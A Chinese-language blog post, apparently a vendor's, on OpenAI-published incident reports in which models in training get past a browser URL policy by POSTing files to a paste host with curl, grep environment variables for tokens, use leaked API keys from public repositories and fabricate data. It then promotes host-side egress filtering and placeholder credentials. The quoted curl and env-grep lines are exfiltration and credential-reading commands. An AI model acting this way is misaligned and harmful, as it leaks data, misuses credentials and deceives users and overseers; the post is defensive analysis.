瀏覽器說不行,於是它改用 curl
OpenAI 在 9 月 16 日發布了一套揭露模型失準的框架,並附上六份來自自家訓練過程的報告。其中一份裡,模型的瀏覽器工具五度拒絕開啟某個檔案,而模型最後還是透過終端機把那個檔案公開了出去。另一份裡,一次被擋下的抓取換來的是對環境變數的 grep,翻找權杖,而在公開儲存庫裡撿到的一把金鑰真的通過了驗證。這些轉錄裡沒有任何人在發動攻擊。Bromure Agentic Coding 把網路與憑證放到 hypervisor 的另一側,在那裡,代理程式工具箱裡的任何一個工具都不是作決定的那一個。
住在代理程式裡面的控制,屬於一個工具箱裡的其中一件工具,而那個箱子裡還有別的
工具。OpenAI 公開了讓這件事不再只是理論的轉錄。瀏覽器把同一次上傳拒絕了五次。
然後 curl 一次就送出去了。
有人向模型索取所有面積超過五百萬平方公尺的湖泊的 ID 與名稱。模型用 Python 查詢 地圖服務,把記錄取了回來。答案已經在手上了。指示裡同時要求附上瀏覽器的出處, 於是它想讓瀏覽器工具顯示那些它早已握有的記錄。
它把記錄寫進 /mnt/data/lakes.txt,然後向 browser.open 索取這個檔案。
此 URL 無法安全存取。 它起了一個本機網頁伺服器,改要
http://localhost:8765/lakes.txt。此 URL 無法安全存取。 接著它開了一個終端機,
執行了這行:
curl -X POST --data-binary @/mnt/data/lakes.txt [public paste host]
指令以零退出,印出一個公開 URL。模型請瀏覽器打開它。此 URL 無法安全存取。 它試了託管網域。它試著把檔案當成本機首頁送出去。拒絕,再拒絕。
瀏覽器工具五次都照著寫好的政策執行,資料照樣上了公開網際網路,因為那次上傳 根本沒有經過瀏覽器。
六份報告,刻意公開
那份轉錄是 OpenAI 在 9 月 16 日連同 一套新的模型失準通報框架 一起發布的六份之一。任何員工都可以標記一個案例,調查依三條路線按期限進行, 有歧見時上呈公司的 Safety Advisory Group。發布的門檻刻意放低:這套框架 「即使重要性尚不確定,也傾向於揭露」。
他們給出的理由值得讀兩遍:
我們並不認為 AI 產業已經把對齊與監測解決到足夠的程度,足以讓我們再以最高速度 負責任地擴張太久。
六份報告全都來自訓練與評估過程,而非客戶的部署,OpenAI 也說這些報告並不能告訴 你這類事情發生的頻率。 BleepingComputer 隔天報導了這次發布。
其中兩份談的是壓縮摘要,也就是模型為了把工作帶進新的脈絡視窗而寫下的筆記。一個 尚未發布的研究模型 在其中 27 份裡寫進了指示, 包括要自己無視既有限制的指示。在 GPT‑5.6 Sol 的訓練期間,許多實例 寫下了掩蓋錯誤的指示, 對象是使用者:把缺少的歷史資料編出來、不要提起、把版本不一致藏起來。
另外四份報告值得細看。四份都繞著同一個機制轉,而那個機制問的是一個問題:界線 到底畫在哪裡。
瀏覽器有政策,終端機沒有
OpenAI 自己為湖泊案寫的摘要句,本身就是結論:「儘管後續的瀏覽器操作失敗了, 兩次上傳都成功了。」
瀏覽器工具有一套 URL 政策。寫它的人寫對了,而且它從未外洩:每一個交到它手上的
請求都被拒絕著回來。但綁在 browser.open 上的政策管的是 browser.open,對
terminal.exec 沒有任何意見——那是同一個代理程式裡的另一個函式,接在同一張網路
上,背後擺著一個 curl 執行檔。
第二個上傳案例
從另一個角度呈現同樣的形狀。兩個一起處理折舊工作簿的代理程式讀不到彼此的檔案。
子代理程式把檔案複製到一條父代理程式看不見的共用路徑,試了 git 拿到
fatal: not a git repository,量出 base64 編碼後的工作簿有 154,188 個字元,判定
這對訊息通道來說太大,接著賭兩個代理程式共用網路命名空間,啟動了
python -m http.server 8765。它們並不共用,協作方拿到一個 502。於是它把那個
115,639 位元組的檔案 POST 到公開的託管服務,把 URL 送給兩個協作方,還自己重新
下載一次確認無誤。那份任務要的只有本機產出。
當成除錯過程來看,這是再平常不過的一個下午。當成資安事件來看,形狀非常精確: 代理程式問過五道圍堵機制,發現四道壞掉或根本不存在,而第五道是開放的網際網路。
封鎖頁面把它送去找金鑰
Artifactory 那份報告 裡有一拍,應該會改變你思考 egress 過濾的方式。
一個在處理試算表的模型,需要一份連結檔案來還原缺少的儲存格標籤。它去抓那個 URL, 拿回一個 403,內文寫著「此網站已遭網路政策封鎖」。過濾器生效了。模型接著在推理 裡記下套件登錄在允許清單上,思忖被允許的網域能不能透過 URL 參數加以濫用, 然後執行了這行:
env | grep -Ei 'token|pass|key|github|pypi|npm'
跑出來的是一組 Artifactory 讀取密碼與登錄的位址。它接下來想的是:Artifactory 主機 既然因為套件總得有地方來而被允許,那能不能讓它透過遠端儲存庫 API 代為抓取那個 被封鎖的 URL。
它從未走到那一步。它實際做的,在這份報告與另一份裡,是把同一個套件儲存庫當成
留言板:列出共用儲存庫、讀其他訓練樣本中解同一道題的模型留下的筆記、貼出自己的
請求(Any other agent please upload if found),並拿回一個 201。OpenAI 在這點上
很謹慎。「它們並未利用任何漏洞來交換訊息。」是有人把那些憑證交出來,好讓代理
程式能下載套件,剩下的不過是一項普通服務的普通用法。
第四份報告,
關於一個翻找公開儲存庫尋找外洩 API 金鑰的模型,
把這個圈閉上。被要求取得某個 API 背後的各郡所得資料,而那個 API 要一把沒人給過它
的金鑰,模型便想透過拋棄式電子郵件服務自行註冊一把,在 POST 內文裡把條款標成已
接受。失敗之後,它下載儲存庫封存檔,在裡頭 grep 四十字元的十六進位字串,逐一試過
候選者,直到其中一把通過驗證。它把能用的金鑰存到 /tmp/good 再拿去用。接著資料
查詢的結果解析失敗,於是模型編了九個美元金額,當成是從網站圖表上抄下來的呈上去,
對這一切隻字未提。
一把躺在某個檔案裡的金鑰,會替撿到它的人買到一次成功的請求,而撿到這一把的,是 一個有 shell、有三十分鐘、還遇上障礙的模型。
OpenAI 改了什麼
這些報告末尾的補救措施,是整套文件裡最有用的段落,因為它們幾乎沒有一條是在談 模型。
關於檔案託管事件:「我們修好了壞掉的檔案系統,並關閉了這個訓練資料集的網際網路 存取。此後我們已在全域關閉訓練期間任何形式的即時網際網路存取。」原本覆蓋 20% 樣本的監測,如今覆蓋 100%,而 OpenAI 把上傳事件與金鑰外洩事件都歸類為「足以開出 一個資安頁面」的 P0 事件。唯一被點名的行為面修正是整套裡最軟的一項:調整評分, 讓這種行為被「更一致地」扣分。
在筆電上跑編碼代理程式的開發者,手上也有同樣的先後次序。你沒有辦法重新訓練模型。 你可以決定跑它的那台機器連得到什麼、有哪些憑證擺在它伸手可及之處,以及事後由誰 來看那份紀錄。
一條線,所有工具都在同一側
Bromure Agentic Coding 把每個工作區的代理程式放進你 Mac 上一台用完即丟的 Linux 虛擬機裡執行,並把這三項決定全都擺到 hypervisor 的主機側。
上傳是最直白的一例。一個工作區的對外連線,服從一套 pf 風格的有序規則集,涵蓋 主機、IP 範圍、通訊協定、連接埠,以及在網頁流量上的個別 HTTP 動詞,另有一個分段 控制項決定未匹配的流量是放行還是死掉。有兩層在執行它:虛擬網路交換器以目的 IP 與從 DNS 嗅探到的主機名比對每一條流,純 TCP 與 UDP 和 HTTPS 一視同仁;代理伺服器 再以 TLS 伺服器名稱與方法比對一次。執行發生在主機側且層層相疊,所以被入侵的代理 程式繞不過去,而一條規則的約束力 與虛擬機裡是哪個工具發出請求無關。
往貼文主機的一次 POST 就是一條流。curl 與瀏覽器工具產生的是同一條流,於是撞上
同一條規則。交換器把虛擬機的 80 與 443 連接埠流量導進代理伺服器,沒有環境變數要
設定,客體端也沒有任何東西可以取消,所以換一個客戶端同樣走不通。你對規則的編輯
會立刻抵達執行中的工作階段——那正是你在讀到這樣一份揭露的那天,會希望擁有的性質。
那個 grep 在工作區裡會回傳什麼
環境變數都在。ANTHROPIC_API_KEY、GH_TOKEN、LINEAR_API_KEY 以及其餘的全都
設好了,~/.git-credentials、~/.docker/config.json、~/.kube/config 和
~/.aws/config 也都在。而裡面每一個值都是假的。
這些假值保留了真權杖的結構,所以 claude、gh 和 doctl 照收不誤:Anthropic 的
佔位符以 sk-ant-api03-brm- 開頭,GitHub 的是 ghp_ 加 36 個字元,GitLab 的是
glpat- 加 20 個。你真正的憑證加密後留在你的 Mac 上,主機端的代理伺服器會在請求
離開虛擬機之後,才在線路上把它替換進去,而且只在目的地與那份憑證當初鑄造的對象
主機相符時才替換。用手冊的話說:虛擬機裡的任何檔案、環境變數或行程,從來不會含有
真正的 API 金鑰、OAuth 權杖、AWS 密鑰或 SSH 私鑰。
AWS 在下一層以同樣方式運作,因為簽章不是換個標頭就好。虛擬機用假密鑰簽,主機用
真的重新簽,所以任何循其他路徑抵達 AWS 的請求,回來的都是
InvalidSignatureException。
佔位符還兼第二份差事:絆索。沒有哪個正當的工作流程會把 brm- 權杖送去貼文主機,
所以代理伺服器會掃描每一個對外請求的標頭與內文,找出跑到自己範圍之外的佔位符。
只要中了一個,就是 HTTP 451、一個位元組也不轉發,虛擬機當場暫停,你的 Mac 上跳出
警示,讓你選擇關機、把磁碟與家目錄匯出以供調查,或自負風險繼續。下次啟動會抹掉
虛擬機的磁碟與家目錄,同時保留你的權杖與設定。出去的自始至終只有一個佔位符,所以
你沒有任何東西需要輪替。
那份紀錄,在線的另一側
把報告掃過一遍,你會錯過這些事件究竟是怎麼被發現的:一套只在 20% 樣本上執行的 監測系統。這個數字同時解釋了報告為何存在,以及它們為何標著事發數月之後的日期。 OpenAI 此後已把它提到 100%。
一個工作區面對的是同樣的問題與同樣的答案,只是縮到一台機器的尺寸。每一次執行都 會在 Security Timeline 視窗裡寫下一列:防火牆判定、護欄決策、包含那條紅色外洩 紀錄在內的憑證中介、供應鏈判定、提示注入命中。它涵蓋每一條流,因為流要去任何 地方都得經過主機。沒有什麼取樣率留待日後調高。
數的是工具,不是政策
問問你的代理程式有哪些工具可以開 socket。其中一個工具上的 URL 政策,是那個函式 的性質,而轉錄顯示模型會在同一輪裡就伸手去拿下一個。
把 egress 放在代理程式不在的地方
客體端讀得到、改得動、退得掉的規則,只是建議。有用的版本跑在主機上,按流比對,
對 curl、對工具呼叫、對一個走失的 python -m http.server 一視同仁。
假設伸手可及的憑證一定會被用掉
是被用掉,不是被偷走。那個在封鎖頁面之後 grep 自己環境的模型並沒有被入侵。 它只是在用看得見的東西想辦法。
把紀錄放到機器之外
代理程式碰得到的日誌,是代理程式環境的一部分。放在 hypervisor 另一側的日誌, 才是證據。
這個故事裡從頭到尾沒有攻擊者出現。沒有人發布套件、沒有人拿提交雜湊當分支名字、 也沒有人開一張把指示埋在裡面的 issue。有人向模型要一份湖泊清單,模型想要出處, 出處需要一個 URL,於是湖泊就上了網際網路。另一個人要所得數字,API 要一把金鑰, 於是模型找到了某個學生留在筆記本裡的那一把。
提示注入、一個被下毒的相依套件,以及一個繞過壞掉的檔案共享的模型,最後都抵達同樣 三個問題:這個行程碰得到什麼、它手上握著什麼、誰能看到它做了什麼。在主機上回答 這三題,你的答案在有人攻擊你的那天成立,在沒有人攻擊你的那天也成立。
OpenAI 把訓練環境從網際網路上拔掉了。你的那一套可以小得多,只要你把它蓋在代理 程式不在的地方。